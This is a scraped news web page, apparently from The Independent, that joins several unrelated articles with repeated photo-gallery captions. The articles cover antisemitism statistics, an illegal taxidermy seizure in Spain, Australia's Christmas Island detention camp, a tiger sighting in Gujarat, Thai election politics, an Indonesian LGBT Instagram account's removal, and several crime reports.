EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The latest numbers are not yet official but they reflect a trend, and thats alarming, the organisations president, Josef Schuster, said.

What Jews had already felt subjectively has been confirmed by the statistics.

It comes a day after a report found the number of antisemitic attacks in France rose by 74 per cent last year.

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These acts are revolting, French prime minister Edouard Philippe said at the countrys parliament on Tuesday.

Day after day Im noticing scandalous degradation and inscriptions. Day after day, Im noticing that symbols and venues our country cherishes are attacked.More than 200 stuffed endangered animals were seized from an illegal taxidermy workshop by police in Spain.

Six people have been arrested on suspicion of possessing and trafficking of protected species.

Officers found dozens of stuffed animals including an African lion, white rhinoceros, Bengal tiger, hippopotamus, African crocodile, African antelope and giraffe.

The taxidermy was allegedly carried out at a premises in Alicante, without a licence and without the waste management resources necessary, a spokesperson for the Spanish police said.

It is believed that some of the animals' body parts were put directly into the sewage system, an action which would pose "a considerable risk to public health", they added.

Spanish police seize stuffed endangered animals Show all 6 1 /6 Spanish police seize stuffed endangered animals Spanish police seize stuffed endangered animals Two stuffed tigers at the illegal workshop Spanish Civil Guard Spanish police seize stuffed endangered animals A stuffed lion found inside the workshop Spanish Civil Guard Spanish police seize stuffed endangered animals Officers seized at least 200 stuffed animals from the workshop Spanish Civil Guard Spanish police seize stuffed endangered animals Six people are being investigated on suspicion of trafficking Spanish Civil Guard Spanish police seize stuffed endangered animals The animals were found in a premises in Alicante Spanish Civil Guard Spanish police seize stuffed endangered animals The inside of the illegal taxidermy workshop Spanish Civil Guard

Officers from the Spanish Guard discovered online posts advertising the animals in May 2018 and identified a taxidermist in Alicante as a possible suspect.

The majority of the animals were seized in a warehouse in Alicante, while more were found at the taxidermist's home in the town of Mutxamiel.

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Wildlife trafficking is strictly prohibited in Spain and authorities said that the 200 stuffed animals seized were from species listed under the United Nation's Convention on International Trade in Endangered Species (CITES).

The global treaty has been signed by over 180 countries and is intended to protect wildlife from exploitation.Australia is to reopen a controversial detention camp on Christmas Island, the countrys prime minister has said.

Scott Morrison announced the decision after Australias parliament passed legislation giving sick asylum seekers easier access to mainland hospitals.

A security committee of his cabinet agreed to reopen the camp on the advice of senior security officials, he said.

We have approved putting in place the re-opening of the Christmas Island detention facilities, both to deal with the prospect of arrivals as well as dealing with the prospect of transfers", he told reporters.

It was part of a range of measures, he said was needed to stop the human trafficking trade.

Tens of thousands protest against Australia Day Show all 8 1 /8 Tens of thousands protest against Australia Day Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Invasion Day protesters march down a street during Australia Day in Brisbane, Australia. EPA Tens of thousands protest against Australia Day Protesters shouts slogans as they march through the streets of Sydney in an "Invasion Day" rally on Australia Day. AFP/Getty Images

"My job now is to ensure that the boats don't come. My job now is to do everything within my power and in the power of the government to ensure that what the parliament has done to weaken our borders does not result in boats coming to Australia," he said.

Against his governments wishes, the Australian Senate later passed legislation 36 votes to 34 that would allow doctors instead of bureaucrats to decide which asylum seekers on camps on the Pacific island nations of Papua New Guinea and Nauru can fly to Australia for hospital treatment.

It was passed 75-74.

Mr Morrison called it a foolish law and not one that I support.

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The Christmas Island detention centre closed late last year, although it was kept in a condition which meant it could be reopened at short notice.

In 2010, 50 asylum seekers drowned when their boat sank after hitting rocks on its coast. There were also riots on the island.

Before it was shuttered, Amnesty Internation criticised the facility.

After a visit, the organisation's Graham Thom told ABC News it had "a prison regime and a very prison type feel."

He added: "These guys are saying, you know, we're here seeking protection why are we being treated like prisoners?"A tiger has been sighted for the first time in 27 years in the Indian state of Gujarat, the last place on Earth still home to Asiatic lions.

The regions forest conservation chief hailed the discovery, and said it made Gujarat the only state to have the lion, tiger and leopard.

Officials in the northwest Indian province confirmed on Wednesday the presence of the adult tiger in a forest in Panchmahal district. Days earlier, a teacher on his way to work sparked excitement when he photographed the animal crossing a road.

RM Parmar, the official in charge of the search mission, said the tiger, which he estimated to be five to seven years old, was also spotted by nightvision cameras on Tuesday morning.

The forest minister for Gujarat, Ganpat Vasava, told the Times of India they welcomed the tigers presence and would consider developing a corridor to allow the animals better access.

Cute tiger and lion cubs make friends Show all 10 1 /10 Cute tiger and lion cubs make friends Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari Cute tiger and lion cubs make friends African Safari

With the sighting of the tiger, Gujarat is now the only state in the country to have the lion, tiger and leopard, said Dr AK Saxena, Gujarats chief of forest conservation.

He told The Independent locals had reported seeing a tiger over the past few months, but until now its presence had remained unconfirmed.

This certainly is a surprise for us, but not very surprising because the animals do not know the state boundaries, he said.

Dr Saxena said despite the three big cats presence in the state, there was no chance of tigers coming into contact with the native lion population, which is now restricted to the Gir National Park.

The national park, in the states west, is also home to most of Gujarats leopards, whereas Panchmahal is hundreds of miles to the east.

 Crouching Tiger Hidden Dragon (2001) - Trailer

The two are separated by a huge distance and by many many barriers  so there is no chance (of them meeting) unless they decide to fly, Dr Saxena said.

If the authorities are able to confirm the existence of more tigers in the state, a scenario Dr Saxena would not rule out, a new chapter in wildlife management will emerge.

Fewer than 4,000 tigers are thought to remain in the wild in India. That is far more, however, than the 500 or so last Asiatic lions, according to the latest figures.The Thai princess who made an ill-fated attempt to run as a prime ministerial candidate yesterday said she was sad about the fallout.

The party that nominated Princess Ubolratana is now being threatened with dissolution.

Her brief foray into political life had threatened to turn the landscape of Thai politics on its head  until it was unceremoniously shot down by her brother, King Maha Vajiralongkorn.

Her candidacy was formally rejected by the election commission on Monday. Now the commission is going one step further in recommending that her Thai Raksa Chart Party be dissolved because its prime ministerial candidate was in conflict with the system of rule of democracy with king as head of state.

In a statement, the election commission said its recommendation had been forwarded to the Constitutional Court for a decision.

Earlier on Wednesday, the princess took to Instagram to reflect on the fallout of her candidacy, which the king had called out as inappropriate in a public broadcast aired simultaneously on all major Thai TV channels.

Funeral of Thailand King Bhumibol Adulyadej: in pictures Show all 21 1 /21 Funeral of Thailand King Bhumibol Adulyadej: in pictures Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Royal Urn of Thailand's late King Bhumibol Adulyadej is seen inside the Royal Crematorium site REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 Smoke is seen at the Royal Crematorium site REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures A Thai woman grieves as she watches a video screen showing the funeral of the late Thai King Bhumibol Adulyadej Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Royal Urn of Thailand's late King Bhumibol Adulyadej is seen inside the Royal Crematorium site REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai mourners gather to watch the royal cremation ceremony of the late Thai King Bhumibol Adulyadej EPA Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Great Victory Chariot carrying the royal urn of Thailand's late King Bhumibol Adulyadej arrives REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The royal chariot is brought into the cremation grounds AFP/Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Great Victory Chariot carrying the royal urn of Thailand's late King Bhumibol Adulyadej Rex Features Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 Soldiers pay their respects at the funeral procession AP Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Great Victory Chariot carrying the royal urn is pulled during the funeral procession REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The funeral urn of the late Thai king Bhumibol Adulyadej is transported up a ramp into the crematorium AFP/Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 Mourners attend the funeral procession for Thailand's late King Bhumibol Adulyadej REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Great Victory Chariot carrying the royal urn of Thailand's late King Bhumibol Adulyadej REUTERS Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The royal cremation ceremony EPA Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 26 The Great Victory Chariot carrying the royal urn is pulled during the funeral procession Reuters Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 25 Mourners praying for the late King Bhumibol Adulyadej AP Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 25 Policemen patrol outside Grand Palace where the body of the late King Bhumibol Adulyadej is enshrined AP Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 25 People queue to attend the funeral of the late Thai King Bhumibol Adulyadej Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 25 A mourner holds an image of the late Thai King Bhumibol Adulyadej as she waits for his funeral AFP/Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 25 Mourners rest as they wait for the funeral of the late Thai King Bhumibol Adulyadej to begin AFP/Getty Images Funeral of Thailand King Bhumibol Adulyadej: in pictures Thai King Bhumibol Adulyadej's funeral - October 24 Mourners shelter from the rain as they gather at night while waiting for the funeral of the late Thai King Bhumibol Adulyadej AFP/Getty Images

Addressing her more than 100,000 followers, Ubolratana said: I am sad that my honest intentions to work for the country and all Thais have resulted in a problem that should not arise in this day and age. She added the hashtag HowComeItsTheWayItIs.

After the king overruled its candidate, Thai Raksa Chart avowed its fealty to the king and acceptance of his order, but its opponents urged its dissolution.

Before the election commission made its recommendation, party leader Preechapol Pongpanit called for the body to hear its defence.

If they dont let us tell our side, itd be as if we were tied by our hands and feet, he said.

Ubolratanas candidacy could have pitted her against the preferred candidate, the pro-royal prime minister Prayuth Chan-ocha, the general who led the 2014 military coup.

Prayuth is considered the frontrunner largely because election laws enacted under his government in 2016 made it much more difficult for a party to form a government without the backing of the military and royalist establishment.

Under the military-drafted constitution, the junta appoints all of the upper house, which along with the lower house gets to vote for prime minister.

The Thai Raksa Chart Party is not the largest of the parties that support the still influential former prime minister and telecoms tycoon Thaksin Shinawatra, who was ousted by a different military coup in 2006.

Nonetheless, its dissolution would undoubtedly cost the pro-Thaksin bloc a number of key seats in next months election, and deepen concerns about the fairness of the poll  the first since the 2014 coup.

Those concerns were heightened on Tuesday when the countrys telecoms regulator suspended the operating licence of a TV station linked to Thaksin, citing national security concerns.

Additional reporting by agenciesA student at Lehigh Senior High School faces multiple drug-related charges after drugs were found in her backpack by a school resource officer investigating a tip.

Ayanna Felix, 18, was charged with possession of a fentanyl, cocaine, marijuana and drug equipment, a release from the Lee County Sheriffs Office issued late Tuesday afternoon states.

According to the Lee County Jail website, the drug charges include intent to sell.

The arrest came after Lee County Sheriffs Office School resource officers received a narcotics complaint at Lehigh Senior High School on Tuesday. Felix was brought to the principals office and drugs were located inside her backpack, officials said.

School Resource Officers identified the drugs as Fentanyl, Cocaine and Marijuana. In total, eighteen (18) bags of Fentanyl (2.7 grams), twenty-one (21) bags of Cocaine (2.5 grams) and eight (8) bags of Marijuana (6.1 grams) were recovered, the release states.

Felix was transported to the Lee County Jail without incident. Total bond, on all charges, was set at $71,500.

Officials said they take the presence of drugs on campus seriously.

Illegal drugs in a school are no less dangerous than guns in a school, Sheriff Carmine Marceno said in a prepared statement. We are thankful for the Crime Stoppers Tip that came in so these drugs are now out of the schools and off our streets.An Instagram account used to highlight homophobic abuse suffered by gay Muslims in Indonesia has been taken down after a backlash from conservative groups in the world's most populous Islamic nation.

An account under the same Alpatuni username was also unavailable on Facebook and Twitter.

Indonesians Ministry of Communications requested Instagram close the account after its content was deemed to be pornographic.

However images seen by The Independent show the account depicting the struggles of gay Muslims living in a country where many face persecution and prosecution because of their sexuality. There was no evidence of the account posting explicit content that would contravene community guidelines on the site.

And Instagram said it was not responsible for the account's removal. "There are a number of other reasons why an account may no longer be accessible, including, for example, if the account holder deleted the account, deactivated the account, or changed the account username," a spokesperson said.

LGBT+ rights around the globe Show all 9 1 /9 LGBT+ rights around the globe LGBT+ rights around the globe Russia Russias antipathy towards homosexuality has been well established following the efforts of human rights campaigners. However, while it is legal to be homosexual, LGBT couples are offered no protections from discrimination. They are also actively discriminated against by a 2013 law criminalising LGBT propaganda allowing the arrest of numerous Russian LGBT activists. AFP/Getty LGBT+ rights around the globe Brunei Brunei recently introduced a law to make sodomy punishable by stoning to death. It was already illegal and punishable by up to 10 years in prison AFP/Getty LGBT+ rights around the globe Mauritania Men who are found having sex with other men face stoning, while lesbians can be imprisoned, under Sharia law. However, the state has reportedly not executed anyone for this crime since 1987 Alamy LGBT+ rights around the globe Sudan Both male and female same-sex sexual activity is illegal under Sudanese law. Men can be executed on their third offence, women on their fourth Getty LGBT+ rights around the globe Saudi Arabia Homosexuality and gender realignment is illegal and punishable by death, imprisonment, whipping and chemical castration Getty LGBT+ rights around the globe Yemen The official position within the country is that there are no gays. LGBT inviduals, if discovered by the government, are likely to face intense pressure. Punishments range from flogging to the death penalty Getty LGBT+ rights around the globe Nigeria Both male and female same-sex sexual activity is illegal and in some northern states punishable with death by stoning. This is not a policy enacted across the entire country, although there is a prevalent anti-LGBT agenda pushed by the government. In 2007 a Pew survey established that 97% of the population felt that homosexuality should not be accepted. It is punishable by 14 years in prison Reuters LGBT+ rights around the globe Somalia Homosexuality was established as a crime in 1888 and under new Somali Penal Code established in 1973 homosexual sex can be punishable by three years in prison. A person can be put to death for being a homosexual Reuters LGBT+ rights around the globe Iraq Although same-sex relationships have been decriminalised, much of the population still suffer from intense discrimination. Additionally, in some of the country over-run by the extremist organisation Isis, LGBT individuals can face death by stoning Getty

A Twitter spokesperson said the company did not comment on individual accounts for privacy and security reasons but added that it was committed to inclusion and diversity and "aimed to provide a platform where marginalised voices can be seen and heard".

Discrimination and abuse has become increasingly common in Indonesia since late 2015 when conservative politicians and religious leaders began a campaign of portraying LGBT+ people as a threat to the nation.

The closure was the result of a campaign by government officials and anti-gay Indonesians on social media, who urged others to report the accounts posts as inappropriate.

Ferdinandus Setu, spokesman for the ministry, said all contents uploaded in @alpantuni account violates Article 27 Number 1 of Law Number 11 of 2008 on distribution of pornographic content through information and electronic transactions.

He said the ministry appreciated members of the public reporting the account, which "accelerated" its removal.

On Twitter, Fahmi Alfansi Pane, a policy analyst in the Indonesian parliament, thanked officials for "acting decisively" to protect public morality.

Others expressed outrage at the accounts closure, tweeting it was a sad day and appealing for the account to be reinstated.

So sad :(((( He is very talented, wrote one supporter. His works portray how it is to be Muslim and gay. I hope you are okay @alpantuni.

 Pride: Moving social experiment reveals the extent of LGBT+ discrimination in the workplace

The posts, which feature comic strips in English and Indonesian using the hashtags #gayindonesia and #gaymalaysia, attract hundreds of likes.

One depicts a Muslim man suffering physical and verbal abuse under the heading Oppression.

Instagram's own guidelines state that content or accounts which show "sexual intercourse, genitals, and close-ups of fully-nude buttocks [including] some photos of female nipples" may be deleted or disabled.

The government frequently threatens to block Western social media and internet companies for content deemed illegal but has never taken such measures, possibly fearful of a public backlash due to the huge popularity of the services with Indonesians.

In 2017, it briefly and partially blocked the Telegram messaging app because of its failure to remove groups linked to violent jihad.

Laws on homosexuality vary by region in Indonesia, with some regions criminalizing same sex relations.

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In 2015, Aceh province criminalised homosexual sex between Muslim men with a punishment of up to 100 lashes.

Indonesian officials at all levels need to protect LGBT people from violence and discrimination, said Andreas Harsono, Indonesia researcher at Human Rights Watch, in a report published last year and unrelated to the Alpatuni account.

Vitriolic anti-LGBT rhetoric from Indonesian officials gives social sanction and political cover to violence and discrimination.

The United Nations high commissioner for human rights, Zeid Raad Al Hussein, has also warned about a hateful rhetoric against [LGBT+ Indonesians] that is being cultivated seemingly for cynical political purposes.A 17-year-old boy reportedly locked his mother in their house and set it on fire after she refused to buy him a new bike and phone.

Soma Manna suffered 90 per cent burn injuries and was taken to hospital after neighbours managed to unlock the door to the house in Jagatpur, India.

The 40-year-old came running out while burning from head to waist, locals told the Times of India.

She kept screaming and running from one end of the alley to the other in excruciating pain till locals doused the fire with blankets, an eyewitness told the paper.

Neighbours are said to have caught her son before he could flee.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

As she recovered in hospital, Ms Manna, 40, said her son had set her on fire.

Police arrested the boy and he was sent to a juvenile home.

He has been charged with attempted murder and voluntarily causing grievous harm.

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The teenager had been due to sit exams and his mother had promised to buy him what he wanted when he had finished them, their landlords wife told the Times of India.

When the mother denied, he poured kerosene on her and set her on fire, she said.A young rapper shot dead by police as he slept in his car was not threatening officers as they claimed, his family has insisted.

Police have confirmed the identity of the young man they shot in the parking lot of a Taco Bell fast-food restaurant as 21-year-old Willie McCoy, who was known as Willie Bo, and performed with the group FBG.

Officers in Vallejo, California, said they had gone there after restaurant staff called 911 to report seeing a person slumped over the seat of a silver Mercedes.

In a statement, the Vallejo Police Department said as officers approached the vehicle, the driver began to suddenly move and looked at the uniformed patrol officers.

Officers gave the driver several commands to put his hands up. The driver did not comply and instead he quickly moved his hands downward for the firearm, it said of Saturdays incident. Fearing for their safety, six officers fired their duty weapons at the driver.

